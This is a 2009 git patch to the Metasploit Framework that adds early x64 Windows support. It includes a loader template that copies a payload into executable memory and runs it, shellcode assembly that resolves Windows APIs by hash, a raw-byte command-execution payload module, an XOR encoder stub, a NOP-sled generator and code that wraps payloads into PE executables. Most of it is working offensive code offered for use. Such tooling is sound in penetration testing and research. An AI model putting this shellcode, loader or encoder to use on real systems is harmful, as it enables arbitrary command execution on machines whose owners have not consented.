From cf10a62dcc550bc94386db5dd92d9c65db05e11f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 23 Aug 2009 23:47:33 +0000 Subject: [PATCH] Merge in the beginnings of x64 support from Stephen Fewer git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da --- data/templates/template_x64_windows.asm | 32 +++ data/templates/template_x64_windows.exe | Bin 0 -> 6144 bytes .../windows/x64/src/block/block_api.asm | 108 ++++++++ .../windows/x64/src/single/single_exec.asm | 24 ++ lib/msf/core/encoder.rb | 2 +- lib/msf/core/encoder/xor.rb | 11 +- lib/msf/core/payload/windows.rb | 25 +- lib/msf/util/exe.rb | 21 +- lib/rex/arch.rb | 4 + lib/rex/constants.rb | 1 + lib/rex/encoding/xor.rb | 3 +- lib/rex/encoding/xor/qword.rb | 15 + lib/rex/text.rb | 22 +- modules/encoders/x64/xor.rb | 53 ++++ modules/nops/x64/simple.rb | 257 ++++++++++++++++++ modules/payloads/singles/windows/x64/exec.rb | 67 +++++ msfencode | 5 +- 17 files changed, 636 insertions(+), 14 deletions(-) create mode 100644 data/templates/template_x64_windows.asm create mode 100644 data/templates/template_x64_windows.exe create mode 100644 external/source/shellcode/windows/x64/src/block/block_api.asm create mode 100644 external/source/shellcode/windows/x64/src/single/single_exec.asm create mode 100644 lib/rex/encoding/xor/qword.rb create mode 100644 modules/encoders/x64/xor.rb create mode 100644 modules/nops/x64/simple.rb create mode 100644 modules/payloads/singles/windows/x64/exec.rb diff --git a/data/templates/template_x64_windows.asm b/data/templates/template_x64_windows.asm new file mode 100644 index 0000000000..467eb433b5 --- /dev/null +++ b/data/templates/template_x64_windows.asm @@ -0,0 +1,32 @@ +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Architecture: x64 +; +; Assemble and link with the following command: +; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main + +extrn ExitProcess : proc +extrn VirtualAlloc : proc + +.code + + main proc + sub rsp, 40 ; + mov r9, 40h ; + mov r8, 3000h ; + mov rdx, 4096 ; + xor rcx, rcx ; + call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); + mov rcx, 4096 ; + mov rsi, payload ; + mov rdi, rax ; + rep movsb ; memcpy( lpPayload, payload, 4096 ); + call rax ; lpPayload(); + xor rcx, rcx ; + call ExitProcess ; ExitProcess( 0 ); + main endp + + payload proc + A byte 'PAYLOAD:' + B db 4096-8 dup ( 'A' ) + payload endp +end diff --git a/data/templates/template_x64_windows.exe b/data/templates/template_x64_windows.exe new file mode 100644 index 0000000000000000000000000000000000000000..24565a3cefa508012f9d1c4c7b33132e86f2f33c GIT binary patch literal 6144 zcmeZ`n!v!!z`(!)#Q*;@Fzf)*Am9Kd@e>Dt(tPr}_!zcuo>knz=yO&vBqOs}p`a)~ zy(lqPAvrNGFTX?~DOI7UG*2NjPr=1MSRpq*B~_1?mrDg|^wcu~cQ3B3>x1EM*{pq+ z!2J5Y%Ru`4|JQvN!1Q}C9h8}z0a6QdS%518LrNPH!{r4%UNEr_49X1LOq>i1LO>BF zsHgyt24SGr7(pb64U}VrDuB^okAngOBHaMf1l0=^g%|>(KI)a4!|%% z@J3m~IRreK-)MLqKM0C%&*KL`DZ=CUAy5MHFh2Q09Yh~L2HCLVvb`@PJS{2gSTstpR13tkzPtp4zg*ZYLdr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module \ No newline at end of file diff --git a/external/source/shellcode/windows/x64/src/single/single_exec.asm b/external/source/shellcode/windows/x64/src/single/single_exec.asm new file mode 100644 index 0000000000..3a607bfb6f --- /dev/null +++ b/external/source/shellcode/windows/x64/src/single/single_exec.asm @@ -0,0 +1,24 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2003 +; Architecture: x64 +; Size: 263 + strlen(command) + 1 +;-----------------------------------------------------------------------------; +[BITS 64] +[ORG 0] + + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; +%include "./src/block/block_api.asm" +start: ; + pop rbp ; Pop off the address of 'api_call' for calling later. + mov rdx, 1 + lea rcx, [rbp+command-delta] + mov r10d, 0x876F8B31 ; hash( "kernel32.dll", "WinExec" ) + call rbp ; WinExec( &command, 1 ); + ; Finish up with the EXITFUNK. +%include "./src/block/block_exitfunk.asm" +command: + ;db "calc", 0 \ No newline at end of file diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index dc128aa95c..c861c42262 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -549,7 +549,7 @@ protected # Returns the list of bad keys associated with this encoder. # def find_bad_keys(buf, badchars) - return [ {}, {}, {}, {} ] + return Array.new( decoder_key_size, {} ) end # diff --git a/lib/msf/core/encoder/xor.rb b/lib/msf/core/encoder/xor.rb index 7c136569e7..595e3bb9bf 100644 --- a/lib/msf/core/encoder/xor.rb +++ b/lib/msf/core/encoder/xor.rb @@ -11,14 +11,21 @@ class Msf::Encoder::Xor < Msf::Encoder # Encodes a block using the XOR encoder from the Rex library. # def encode_block(state, block) - Rex::Encoding::Xor::Dword.encode(block, [ state.key ].pack(state.decoder_key_pack))[0] + encoder = case state.decoder_key_size + when Rex::Encoding::Xor::Qword.keysize then Rex::Encoding::Xor::Qword + when Rex::Encoding::Xor::Dword.keysize then Rex::Encoding::Xor::Dword + when Rex::Encoding::Xor::Word.keysize then Rex::Encoding::Xor::Word + when Rex::Encoding::Xor::Byte.keysize then Rex::Encoding::Xor::Byte + else Rex::Encoding::Xor::Dword + end + encoder.encode(block, [ state.key ].pack(state.decoder_key_pack))[0] end # # Finds keys that are incompatible with the supplied bad character list. # def find_bad_keys(buf, badchars) - bad_keys = [ {}, {}, {}, {} ] + bad_keys = Array.new( decoder_key_size, {} ) byte_idx = 0 # Scan through all the badchars and build out the bad_keys array diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 99ac717919..2fda520798 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -27,19 +27,32 @@ module Msf::Payload::Windows # payloads. # def initialize(info = {}) - if (info['Alias']) - info['Alias'] = 'windows/' + info['Alias'] - end + ret = super( info ) # All windows payload hint that the stack must be aligned to nop # generators and encoders. - super(merge_info(info, - 'SaveRegisters' => [ 'esp' ])) + if( info['Arch'] == ARCH_X86_64 ) + if( info['Alias'] ) + info['Alias'] = 'windows/x64/' + info['Alias'] + end + merge_info( info, 'SaveRegisters' => [ 'rsp' ] ) + elsif( info['Arch'] == ARCH_X86 ) + if( info['Alias'] ) + info['Alias'] = 'windows/' + info['Alias'] + end + merge_info( info, 'SaveRegisters' => [ 'esp' ] ) + end + + #if (info['Alias']) + # info['Alias'] = 'windows/' + info['Alias'] + #end register_options( [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'thread' ]) - ], Msf::Payload::Windows) + ], Msf::Payload::Windows ) + + ret end # diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 609a359f7d..581d5b1a66 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -37,7 +37,13 @@ class EXE # XXX: Add remaining x86 systems here end - + + if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) + if (plat.index(Msf::Module::Platform::Windows)) + return to_win64pe(framework, code) + end + end + if(arch.index(ARCH_ARMLE)) if(plat.index(Msf::Module::Platform::OSX)) return to_osx_arm_macho(framework, code) @@ -91,6 +97,19 @@ class EXE return pe end + def self.to_win64pe(framework, code) + pe = '' + + fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb") + pe = fd.read(fd.stat.size) + fd.close + + bo = pe.index('PAYLOAD:') + pe[bo,2048] = [code].pack('a2048') if bo + + return pe + end + def self.to_win32pe_service(framework, code, name='SERVICENAME') pe = '' diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index 91137434f7..3dbfcf759f 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -37,6 +37,8 @@ module Arch case arch when ARCH_X86 [addr].pack('V') + when ARCH_X86_64 + [addr].pack('Q') when ARCH_MIPS # ambiguous [addr].pack('N') when ARCH_MIPSBE @@ -66,6 +68,8 @@ module Arch case arch when ARCH_X86 return ENDIAN_LITTLE + when ARCH_X86_64 + return ENDIAN_LITTLE when ARCH_MIPS # ambiguous return ENDIAN_BIG when ARCH_MIPSLE diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 4bb7badb8b..bc56507782 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -66,6 +66,7 @@ LEV_3 = 3 ARCH_ANY = '_any_' ARCH_X86 = 'x86' ARCH_X86_64 = 'x86_64' +ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 ARCH_MIPS = 'mips' ARCH_MIPSLE = 'mipsle' ARCH_MIPSBE = 'mipsbe' diff --git a/lib/rex/encoding/xor.rb b/lib/rex/encoding/xor.rb index 3d96d14b26..1c0e3c3e7c 100644 --- a/lib/rex/encoding/xor.rb +++ b/lib/rex/encoding/xor.rb @@ -16,4 +16,5 @@ end end end require 'rex/encoding/xor/generic' require 'rex/encoding/xor/byte' require 'rex/encoding/xor/word' -require 'rex/encoding/xor/dword' \ No newline at end of file +require 'rex/encoding/xor/dword' +require 'rex/encoding/xor/qword' \ No newline at end of file diff --git a/lib/rex/encoding/xor/qword.rb b/lib/rex/encoding/xor/qword.rb new file mode 100644 index 0000000000..23408553c1 --- /dev/null +++ b/lib/rex/encoding/xor/qword.rb @@ -0,0 +1,15 @@ +#!/usr/bin/env ruby + +require 'rex/encoding/xor/generic' + +module Rex +module Encoding +module Xor + +class Qword < Generic + + def Qword.keysize + 8 + end + +end end end end \ No newline at end of file diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 7d66499093..d1e931b629 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -570,6 +570,7 @@ module Text # XXX: depends on the Msf code being loaded, not just Rex def self.to_executable(arch, plat, code, note='') + if (arch.index(ARCH_X86)) if (plat.index(Msf::Module::Platform::Windows)) @@ -586,7 +587,13 @@ module Text # XXX: Add remaining x86 systems here end - + + if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) + if (plat.index(Msf::Module::Platform::Windows)) + return Rex::Text.to_win64pe(code, note) + end + end + if(arch.index(ARCH_ARMLE)) if(plat.index(Msf::Module::Platform::OSX)) return Rex::Text.to_osx_arm_macho(code, note) @@ -625,7 +632,20 @@ module Text return pe end + + def self.to_win64pe(code = "\xcc", note="") + pe = '' + fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "data", "templates", "template_x64_windows.exe"), "rb") + pe = fd.read(fd.stat.size) + fd.close + + bo = pe.index('PAYLOAD:') + pe[bo, 2048] = [code].pack('a2048') if bo + + return pe + end + def self.to_win32pe_service(code = "\xcc", name="SERVICENAME") pe = '' diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb new file mode 100644 index 0000000000..c68840365c --- /dev/null +++ b/modules/encoders/x64/xor.rb @@ -0,0 +1,53 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Encoder::Xor + + def initialize + super( + 'Name' => 'XOR Encoder', + 'Version' => '$Revision$', + 'Description' => 'An x64 XOR encoder. Uses an 8 byte key and takes advantage of x64 relative addressing.', + 'Author' => [ 'Stephen Fewer ' ], + 'Arch' => ARCH_X86_64, + 'License' => MSF_LICENSE, + 'Decoder' => + { + 'KeySize' => 8, + 'KeyPack' => 'Q', + 'BlockSize' => 8, + } + ) + end + + def decoder_stub( state ) + + # calculate the (negative) block count . We should check this against state.badchars. + block_count = [-( ( (state.buf.length - 1) / state.decoder_key_size) + 1)].pack( "V" ) + + decoder = "\x48\x31\xC9" + # xor rcx, rcx + "\x48\x81\xE9" + block_count + # sub ecx, block_count + "\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0] + "\x48\xBBXXXXXXXX" + # mov rbx, 0x???????????????? + "\x48\x31\x58\x27" + # xor [rax+0x27], rbx + "\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8 + "\xE2\xF4" # loop 0x1B + + state.decoder_key_offset = decoder.index( 'XXXXXXXX' ) + + return decoder + end + +end \ No newline at end of file diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb new file mode 100644 index 0000000000..7751ce10ba --- /dev/null +++ b/modules/nops/x64/simple.rb @@ -0,0 +1,257 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Nop + + def initialize + super( + 'Name' => 'Simple', + 'Alias' => 'x64_simple', + 'Version' => '$Revision$', + 'Description' => 'An x64 single/multi byte NOP instruction generator.', + 'Author' => [ 'Stephen Fewer ' ], + 'License' => MSF_LICENSE, + 'Arch' => ARCH_X86_64 ) + + register_advanced_options( [ OptBool.new( 'RandomNops', [ false, "Generate a random NOP sled", true ] ) ], self.class ) + register_advanced_options( [ OptBool.new( 'MultiByte', [ false, "Generate a multi byte instruction NOP sled", false ] ) ], self.class ) + end + + # This instruction list is far from complete (Only single byte instructions and some multi byte ADD/MOV instructions are used). + # A more complete list might warrent an pseudo assembler (Rex::Arch::X64) instead of hardcoding these. + INSTRUCTIONS = [ [ "\x90", 0, "nop" ], + [ "\x91", 0, "xchg eax, ecx" ], + [ "\x92", 0, "xchg eax, edx" ], + [ "\x93", 0, "xchg eax, ebx" ], + [ "\x94", 0, "xchg eax, esp" ], + [ "\x95", 0, "xchg eax, ebp" ], + [ "\x96", 0, "xchg eax, esi" ], + [ "\x97", 0, "xchg eax, edi" ], + [ "\x98", 0, "cwde" ], + [ "\x99", 0, "cdq" ], + [ "\x9B", 0, "wait" ], + [ "\x9C", 0, "pushfq" ], + [ "\x9D", 0, "popfq" ], + [ "\x9E", 0, "sahf" ], + [ "\x9F", 0, "lahf" ], + [ "\xFC", 0, "cld" ], + [ "\xFD", 0, "std" ], + [ "\xF8", 0, "clc" ], + [ "\xF9", 0, "cmc" ], + [ "\x50", 0, "push rax" ], + [ "\x51", 0, "push rcx" ], + [ "\x52", 0, "push rdx" ], + [ "\x53", 0, "push rbx" ], + [ "\x54", 0, "push rsp" ], + [ "\x55", 0, "push rbp" ], + [ "\x56", 0, "push rsi" ], + [ "\x57", 0, "push rdi" ], + [ "\x58", 0, "pop rax" ], + [ "\x59", 0, "pop rcx" ], + [ "\x5A", 0, "pop rdx" ], + [ "\x5B", 0, "pop rbx" ], + [ "\x5C", 0, "pop rsp" ], + [ "\x5D", 0, "pop rbp" ], + [ "\x5E", 0, "pop rsi" ], + [ "\x5F", 0, "pop rdi" ], + [ "\x04", 1, "add al, 0x??" ], + [ "\x80\xC3", 1, "add bl, 0x??" ], + [ "\x80\xC1", 1, "add cl, 0x??" ], + [ "\x80\xC2", 1, "add dl, 0x??" ], + [ "\x80\xC4", 1, "add ah, 0x??" ], + [ "\x80\xC7", 1, "add bh, 0x??" ], + [ "\x80\xC5", 1, "add ch, 0x??" ], + [ "\x80\xC6", 1, "add dh, 0x??" ], + [ "\x66\x05", 2, "add ax, 0x????" ], + [ "\x66\x81\xC3", 2, "add bx, 0x????" ], + [ "\x66\x81\xC1", 2, "add cx, 0x????" ], + [ "\x66\x81\xC2", 2, "add dx, 0x????" ], + [ "\x66\x81\xC6", 2, "add si, 0x????" ], + [ "\x66\x81\xC7", 2, "add di, 0x????" ], + [ "\x66\x41\x81\xC0", 2, "add r8w, 0x????" ], + [ "\x66\x41\x81\xC1", 2, "add r9w, 0x????" ], + [ "\x66\x41\x81\xC2", 2, "add r10w, 0x????" ], + [ "\x66\x41\x81\xC3", 2, "add r11w, 0x????" ], + [ "\x66\x41\x81\xC4", 2, "add r12w, 0x????" ], + [ "\x66\x41\x81\xC5", 2, "add r13w, 0x????" ], + [ "\x66\x41\x81\xC6", 2, "add r14w, 0x????" ], + [ "\x66\x41\x81\xC7", 2, "add r15w, 0x????" ], + [ "\x05", 4, "add eax, 0x????????" ], + [ "\x81\xC3", 4, "add ebx, 0x????????" ], + [ "\x81\xC1", 4, "add ecx, 0x????????" ], + [ "\x81\xC2", 4, "add edx, 0x????????" ], + [ "\x81\xC6", 4, "add esi, 0x????????" ], + [ "\x81\xC7", 4, "add edi, 0x????????" ], + [ "\x41\x81\xC0", 4, "add r8d, 0x????????" ], + [ "\x41\x81\xC1", 4, "add r9d, 0x????????" ], + [ "\x41\x81\xC2", 4, "add r10d, 0x????????" ], + [ "\x41\x81\xC3", 4, "add r11d, 0x????????" ], + [ "\x41\x81\xC4", 4, "add r12d, 0x????????" ], + [ "\x41\x81\xC5", 4, "add r13d, 0x????????" ], + [ "\x41\x81\xC6", 4, "add r14d, 0x????????" ], + [ "\x41\x81\xC7", 4, "add r15d, 0x????????" ], + [ "\x48\xB8", 8, "mov rax, 0x????????????????" ], + [ "\x48\xBB", 8, "mov rbx, 0x????????????????" ], + [ "\x48\xB9", 8, "mov rcx, 0x????????????????" ], + [ "\x48\xBA", 8, "mov rdx, 0x????????????????" ], + [ "\x48\xBE", 8, "mov rsi, 0x????????????????" ], + [ "\x48\xBF", 8, "mov rdi, 0x????????????????" ], + [ "\x49\xB8", 8, "mov r8, 0x????????????????" ], + [ "\x49\xB9", 8, "mov r8, 0x????????????????" ], + [ "\x49\xBA", 8, "mov r10, 0x????????????????" ], + [ "\x49\xBB", 8, "mov r11, 0x????????????????" ], + [ "\x49\xBC", 8, "mov r12, 0x????????????????" ], + [ "\x49\xBD", 8, "mov r13, 0x????????????????" ], + [ "\x49\xBE", 8, "mov r14, 0x????????????????" ], + [ "\x49\xBF", 8, "mov r15, 0x????????????????" ], + ] + + I_OP = 0 + I_SIZE = 1 + I_TEXT = 2 + + REGISTERS = [ [ "rsp", "esp", "sp" ], + [ "rbp", "ebp", "bp" ], + [ "rax", "eax", "ax", "al", "ah" ], + [ "rbx", "ebx", "bx", "bl", "bh" ], + [ "rcx", "ecx", "cx", "cl", "ch" ], + [ "rdx", "edx", "dx", "dl", "dh" ], + [ "rsi", "esi", "si" ], + [ "rdi", "edi", "di" ], + [ "r8", "r8d", "r8w", "r8b" ], + [ "r9", "r9d", "r9w", "r9b" ], + [ "r10", "r10d", "r10w", "r10b" ], + [ "r11", "r11d", "r11w", "r11b" ], + [ "r12", "r12d", "r12w", "r12b" ], + [ "r13", "r13d", "r13w", "r13b" ], + [ "r14", "r14d", "r14w", "r14b" ], + [ "r15", "r15d", "r15w", "r15b" ], + ] + + def generate_random_sled( length, instructions, badchars, badregs ) + opcodes_stack = [] + total_size = 0 + sled = '' + try_count = 0 + good_bytes = [] + + # Fixup SaveRegisters so for example, if we wish to preserve RSP we also should also preserve ESP and SP + REGISTERS.each { | reg | reg.each { |x| badregs += reg if badregs.include?( x ) } } + badregs = badregs.uniq() + + # If we are preserving RSP we should avoid all PUSH/POP instructions... + if badregs.include?( "rsp" ) + badregs.push( 'push' ) + badregs.push( 'pop' ) + end + + # Loop while we still have bytes to fill in the sled... + while true + # Pick a random instruction and see if we can use it... + instruction = instructions[ rand(instructions.length) ] + + # Avoid using any bad mnemonics/registers... + try_another = false + badregs.each do | bad | + try_another = true if instruction[I_TEXT].include?( bad.downcase() ) + break if try_another + end + next if try_another + + # Get the first bytes of the chosed instructions opcodes... + opcodes = instruction[I_OP] + + # If their are additional bytes to append, do it now... + 1.upto( instruction[I_SIZE] ) do | i | + opcodes += Rex::Text.rand_char( badchars ) + end + + # If we have gone over the requested sled length, try again. + if total_size + opcodes.length > length + try_count -= 1 + + # If we have tried unsuccessfully 32 times we start unwinding the chosen opcode_stack to speed things up + if try_count == 0 + pop_count = 4 + while opcodes_stack.length and pop_count + total_size -= opcodes_stack.pop().length + pop_count -= 1 + end + end + next + end + + # Reset the try_count for the next itteration. + try_count = 32 + + # save the opcodes we just generated. + opcodes_stack.push( opcodes ) + + # Increment the total size appropriately. + total_size += opcodes.length + + # Once we have generated the requested amount of bytes we can finish. + break if total_size == length + end + + # Now that we have chosen all the instructions to use we must generate the actual sled. + opcodes_stack.each do | opcodes | + sled += opcodes + end + + return sled + end + + def generate_sled( length, opts ) + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + badregs = opts['SaveRegisters'] || [] + good_instructions = [] + sled = '' + + # Weed out any instructions which will contain a bad char/instruction... + INSTRUCTIONS.each do | instruction | + good = true; + # If the instruction contains some bad chars we wont use it... + badchars.each do | bc | + if instruction[I_OP].include?( bc ) + good = false + break + end + end + # if we are only to generate single byte instructions, weed out the multi byte ones... + good = false if instruction[I_SIZE] > 0 and not datastore['MultiByte'] + + good_instructions.push( instruction ) if good + end + + # After we have pruned the instruction list we can proceed to generate a sled... + if good_instructions.empty? + # If we are left with no valid instructions to use we simple cant generate a sled. + sled = nil + elsif not random + if not badchars.include?( "\x90" ) + sled += "\x90" * length + else + sled = nil + end + else + sled += generate_random_sled( length, good_instructions, badchars, badregs ) + end + + return sled + end + +end diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb new file mode 100644 index 0000000000..3c5691df70 --- /dev/null +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Execute Command', + 'Version' => '$Revision$', + 'Description' => 'Execute an arbitrary command (Windows x64)', + 'Author' => [ 'Stephen Fewer ' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Payload' => + { + 'Offsets' => + { + 'EXITFUNC' => [ 229, 'V' ] + }, + 'Payload' => + "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" + + "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + + "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + + "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" + + "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" + + "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" + + "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" + + "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" + + "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" + + "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" + + "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" + + "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" + + "\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" + + "\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" + + "\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" + + "\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" + } + )) + register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), ], self.class ) + end + + def generate + return super + command_string + "\x00" + end + + def command_string + return datastore['CMD'] || '' + end + +end diff --git a/msfencode b/msfencode index 665c3cede8..c855f58b1a 100755 --- a/msfencode +++ b/msfencode @@ -191,14 +191,15 @@ case cmd case fmt when 'exe' - exe = Msf::Util::EXE.to_win32pe($framework, raw) + exe = Msf::Util::EXE.to_win32pe($framework, raw) if arch.index( ARCH_X86 ) + exe = Msf::Util::EXE.to_win64pe($framework, raw) if arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ) if(not output) $stdout.write(exe) else File.open(output, "wb") do |fd| fd.write(exe) end - end + end when 'elf' elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw) if(not output)